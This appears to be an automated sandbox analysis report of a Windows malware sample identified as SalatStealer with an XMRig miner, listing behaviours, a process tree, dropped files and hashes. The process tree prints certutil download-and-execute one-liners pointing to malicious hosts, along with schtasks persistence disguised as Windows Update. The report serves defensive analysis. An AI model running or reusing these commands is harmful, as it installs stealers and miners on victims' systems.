Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/09/2026, 21:28

General

  • Target
    file.exe
  • Size 637KB
  • Sample260924-1bejhasfma
  • SHA256 040cfbf765c7fa78ae099c6cbb5e6d03e6c65270d5dee136ee251310a402692d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: salatstealer

    SalatStealer is a stealer that takes sceenshot written in Golang.

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Detect SalatStealer payload 15 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Windows security bypass 2 TTPs 64 IoCs
  • XMRig Miner payload 2 IoCs
  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Downloads MZ/PE file 2 IoCs
  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Executes dropped EXE 9 IoCs
  • Windows security modification 2 TTPs 64 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • UPX packed file 19 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 6 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 30 IoCs
  • Suspicious use of SendNotifyMessage 28 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\explorer.exe
    explorer.exe /LOADSAVEDWINDOWS
    1⤵
    • Drops file in Program Files directory
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1948
    • C:\Users\Admin\AppData\Local\Temp\file.exe
      "C:\Users\Admin\AppData\Local\Temp\file.exe"
      2⤵
      • Drops file in Program Files directory
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:5068
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c certutil.exe -urlcache -split -f "https://dowmindow.com/12/rfgr/2209/get-file-data" "C:\Users\Admin\AppData\Local\Temp\0e5951620.exe" && "C:\Users\Admin\AppData\Local\Temp\0e5951620.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4360
      • C:\Windows\system32\certutil.exe
        certutil.exe -urlcache -split -f "https://dowmindow.com/12/rfgr/2209/get-file-data" "C:\Users\Admin\AppData\Local\Temp\0e5951620.exe"
        3⤵
        • Downloads MZ/PE file
        PID:120
      • C:\Users\Admin\AppData\Local\Temp\0e5951620.exe
        "C:\Users\Admin\AppData\Local\Temp\0e5951620.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:3380
        • C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\0e5951620.exe
          "C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\0e5951620.exe"
          4⤵
          • Windows security bypass
          • Creates a file in the Startup directory
          • Executes dropped EXE
          • Windows security modification
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of WriteProcessMemory
          PID:3372
          • C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\rt\WinInetCache\dd.exe
            "C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\rt\WinInetCache\dd.exe"
            5⤵
            • Executes dropped EXE
            • Adds Run key to start application
            • Drops file in Program Files directory
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:4724
            • C:\Users\Admin\AppData\Local\Temp\explorer.exe
              C:\Users\Admin\AppData\Local\Temp\explorer.exe
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:4120
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe
                7⤵
                • UAC bypass
                • Badlisted process makes network request
                • System Location Discovery: System Language Discovery
                • Suspicious use of AdjustPrivilegeToken
                PID:4636
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /Create /F /TN WindowsUpdate /SC ONLOGON /IT /RL LIMITED /TR "C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateAssistant.exe"
            5⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4872
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /Delete /F /TN WindowsUpdateBoot
            5⤵
              PID:792
            • C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateHealth.exe
              "C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateHealth.exe"
              5⤵
              • Executes dropped EXE
              PID:3768
            • C:\Windows\system32\schtasks.exe
              "C:\Windows\system32\schtasks.exe" /Create /F /TN WindowsUpdate /SC ONLOGON /IT /RL LIMITED /TR "C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateAssistant.exe"
              5⤵
              • Scheduled Task/Job: Scheduled Task
              PID:4956
            • C:\Windows\system32\schtasks.exe
              "C:\Windows\system32\schtasks.exe" /Delete /F /TN WindowsUpdateBoot
              5⤵
                PID:3808
              • C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateWorker.exe
                "C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateWorker.exe"
                5⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of FindShellTrayWindow
                PID:2312
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c certutil.exe -urlcache -split -f "https://api.lqbzz.cc/download/clipboard_replacer.exe" "C:\Users\Admin\AppData\Local\Temp\0e5951b01.exe" && "C:\Users\Admin\AppData\Local\Temp\0e5951b01.exe"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1172
          • C:\Windows\system32\certutil.exe
            certutil.exe -urlcache -split -f "https://api.lqbzz.cc/download/clipboard_replacer.exe" "C:\Users\Admin\AppData\Local\Temp\0e5951b01.exe"
            3⤵
              PID:4156
        • C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateAssistant.exe
          C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateAssistant.exe
          1⤵
          • Windows security bypass
          • Executes dropped EXE
          • Windows security modification
          PID:1608
        • C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateAssistant.exe
          "C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateAssistant.exe"
          1⤵
          • Windows security bypass
          • Executes dropped EXE
          • Windows security modification
          PID:1876
        • C:\Program Files (x86)\Reference Assemblies\SecurityHealthSystray.exe
          "C:\Program Files (x86)\Reference Assemblies\SecurityHealthSystray.exe"
          1⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:1348

        Network

              MITRE ATT&CK Enterprise v16

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              Downloads

              103621DE9CD5414CC2538780B4B75751

              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
              • Size 808B
              • SHA256 3dd5ea8a14eb665ba6057d424f94e5e83757ffaab456578dbf038af04053b19e
              • MD5 SHA1 SHA512 TLSH

              103621DE9CD5414CC2538780B4B75751

              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
              • Size 192B
              • SHA256 c5ef1a825d4adf4e4cffc8be0388a4b7c8723c394565e9fa5804e3f641f5194a
              • MD5 SHA1 SHA512 TLSH

              0e5951620.exe

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\0e5951620.exe
              • Size 6.4MB
              • SHA256 37bc10eba18a4dd8778b45e1f4f15794c6cad22c04db1175978ef867bb8110a1
              • MD5 SHA1 SHA512 SSDEEP TLSH

              MicrosoftUpdateHealth.exe

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateHealth.exe
              • Size 214KB
              • SHA256 a56c98d41dfcc24d11e912fa571f434d14c24c3c5bbfd0d3f7d5fe90c144046a
              • MD5 SHA1 SHA512 SSDEEP TLSH

              MicrosoftUpdateWorker.exe

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateWorker.exe
              • Size 6.2MB
              • SHA256 0eadb9cc8098d0fb1ac1e80f13de901435a4c5e974ea0dc7306e037178e84ee0
              • MD5 SHA1 SHA512 SSDEEP TLSH

              build.json

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\build.json
              • Size 1KB
              • SHA256 f5b84f2ab3023486a35c154e45583a23c12d4e10646aea0c44e93f4ba5a983ca
              • MD5 SHA1 SHA512 TLSH

              build.json

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\build.json
              • Size 1KB
              • SHA256 606388e6695726e7cf84246df4ad5df2b5e94ba2e4a35014b79768388b7e102b
              • MD5 SHA1 SHA512 TLSH

              config.json

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\config.json
              • Size 849B
              • SHA256 ca4d6724a0384de5fdbc0cc2a6c574e6583fd63d5c5247e06cb26662204703e6
              • MD5 SHA1 SHA512 TLSH

              dd.exe

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\rt\WinInetCache\dd.exe
              • Size 3.4MB
              • SHA256 62dff0cf5917b57524122f8d040041857e7bd9a66bf9a1c49e69245281c529cd
              • MD5 SHA1 SHA512 SSDEEP TLSH

              taskmgr_hook.dll

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\taskmgr_hook.dll
              • Size 14KB
              • SHA256 e5a81f5b2021cca3c93bcb26f2dece4cb396b4c8496bdf11460a5d8b0f0e5486
              • MD5 SHA1 SHA512 SSDEEP TLSH

              0e5951620.exe

              • Path C:\Users\Admin\AppData\Local\Temp\0e5951620.exe
              • Size 6.5MB
              • SHA256 0448ef245659c937ae9226e46487713d7bd2cfbd0d7e0f24017c6c90289d3e46
              • MD5 SHA1 SHA512 SSDEEP TLSH

              0e5951b01.exe

              • Path C:\Users\Admin\AppData\Local\Temp\0e5951b01.exe
              • Size 6KB
              • SHA256 129565b0cf381106183e7815809ff5d2acce193cea433312ed85e6ccc8ce6bce
              • MD5 SHA1 SHA512 SSDEEP TLSH

              WindowsUpdate.vbs

              • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.vbs
              • Size 128B
              • SHA256 f0a6f60d1b23f58976fdbee8d0e36d0794e95aeddf786c6e97fdb0af4cdc5845
              • MD5 SHA1 SHA512 TLSH

              memory/1348-143-0x0000000000CF0000-0x0000000001947000-memory.dmp

              memory/1348-145-0x0000000000CF0000-0x0000000001947000-memory.dmp

              memory/1948-12-0x0000000003890000-0x0000000003902000-memory.dmp

              memory/1948-29-0x0000000003890000-0x0000000003902000-memory.dmp

              memory/1948-17-0x0000000003890000-0x0000000003902000-memory.dmp

              memory/1948-14-0x0000000003890000-0x0000000003902000-memory.dmp

              memory/1948-2-0x0000000003890000-0x0000000003902000-memory.dmp

              memory/1948-6-0x0000000003890000-0x0000000003902000-memory.dmp

              memory/1948-19-0x0000000003890000-0x0000000003902000-memory.dmp

              memory/1948-16-0x0000000003890000-0x0000000003902000-memory.dmp

              memory/1948-15-0x0000000003890000-0x0000000003902000-memory.dmp

              memory/1948-13-0x0000000003890000-0x0000000003902000-memory.dmp

              memory/1948-22-0x0000000003890000-0x0000000003902000-memory.dmp

              memory/1948-23-0x0000000003890000-0x0000000003902000-memory.dmp

              memory/1948-25-0x0000000003890000-0x0000000003902000-memory.dmp

              memory/1948-26-0x0000000003890000-0x0000000003902000-memory.dmp

              memory/1948-27-0x0000000003890000-0x0000000003902000-memory.dmp

              memory/1948-5-0x0000000003890000-0x0000000003902000-memory.dmp

              memory/1948-4-0x0000000003890000-0x0000000003902000-memory.dmp

              memory/1948-81-0x0000000003430000-0x0000000003431000-memory.dmp

              memory/1948-82-0x0000000003850000-0x0000000003851000-memory.dmp

              memory/1948-7-0x0000000003890000-0x0000000003902000-memory.dmp

              memory/1948-21-0x0000000003890000-0x0000000003902000-memory.dmp

              memory/1948-18-0x0000000003890000-0x0000000003902000-memory.dmp

              memory/1948-9-0x0000000003890000-0x0000000003902000-memory.dmp

              memory/1948-8-0x0000000003890000-0x0000000003902000-memory.dmp

              memory/1948-10-0x0000000003890000-0x0000000003902000-memory.dmp

              memory/1948-11-0x0000000003890000-0x0000000003902000-memory.dmp

              memory/1948-140-0x00000000033D0000-0x00000000033D1000-memory.dmp

              memory/1948-1-0x0000000003890000-0x0000000003902000-memory.dmp

              memory/2312-123-0x00000271AAB70000-0x00000271AAB90000-memory.dmp

              memory/4120-138-0x00000000004C0000-0x0000000001117000-memory.dmp

              memory/4120-157-0x00000000004C0000-0x0000000001117000-memory.dmp

              memory/4120-179-0x00000000004C0000-0x0000000001117000-memory.dmp

              memory/4120-178-0x00000000004C0000-0x0000000001117000-memory.dmp

              memory/4120-177-0x00000000004C0000-0x0000000001117000-memory.dmp

              memory/4120-176-0x00000000004C0000-0x0000000001117000-memory.dmp

              memory/4120-175-0x00000000004C0000-0x0000000001117000-memory.dmp

              memory/4120-147-0x00000000004C0000-0x0000000001117000-memory.dmp

              memory/4120-148-0x00000000004C0000-0x0000000001117000-memory.dmp

              memory/4120-149-0x00000000004C0000-0x0000000001117000-memory.dmp

              memory/4636-159-0x0000000005E40000-0x0000000005E5E000-memory.dmp

              memory/4636-173-0x0000000008590000-0x0000000008B4A000-memory.dmp

              memory/4636-152-0x0000000005020000-0x0000000005042000-memory.dmp

              memory/4636-153-0x00000000050C0000-0x0000000005126000-memory.dmp

              memory/4636-154-0x0000000005130000-0x0000000005196000-memory.dmp

              memory/4636-158-0x0000000005910000-0x0000000005C6B000-memory.dmp

              memory/4636-150-0x00000000025B0000-0x00000000025E6000-memory.dmp

              memory/4636-151-0x0000000005240000-0x000000000588A000-memory.dmp

              memory/4636-160-0x0000000005E70000-0x0000000005EBC000-memory.dmp

              memory/4636-161-0x00000000070A0000-0x00000000070D6000-memory.dmp

              memory/4636-162-0x00000000703D0000-0x000000007041C000-memory.dmp

              memory/4636-163-0x0000000070580000-0x00000000708DB000-memory.dmp

              memory/4636-166-0x0000000007060000-0x0000000007080000-memory.dmp

              memory/4636-167-0x00000000070E0000-0x0000000007183000-memory.dmp

              memory/4636-168-0x0000000007850000-0x0000000007ECC000-memory.dmp

              memory/4636-169-0x0000000007210000-0x000000000722A000-memory.dmp

              memory/4636-170-0x0000000007270000-0x000000000727A000-memory.dmp

              memory/4636-171-0x0000000007470000-0x0000000007506000-memory.dmp

              memory/4636-172-0x0000000007770000-0x0000000007792000-memory.dmp

              memory/4724-129-0x0000000000360000-0x0000000000FB7000-memory.dmp

              memory/4724-78-0x0000000000360000-0x0000000000FB7000-memory.dmp

              memory/4724-126-0x0000000000360000-0x0000000000FB7000-memory.dmp

              memory/4724-139-0x0000000000360000-0x0000000000FB7000-memory.dmp

              memory/4724-127-0x0000000000360000-0x0000000000FB7000-memory.dmp

              memory/4724-128-0x0000000000360000-0x0000000000FB7000-memory.dmp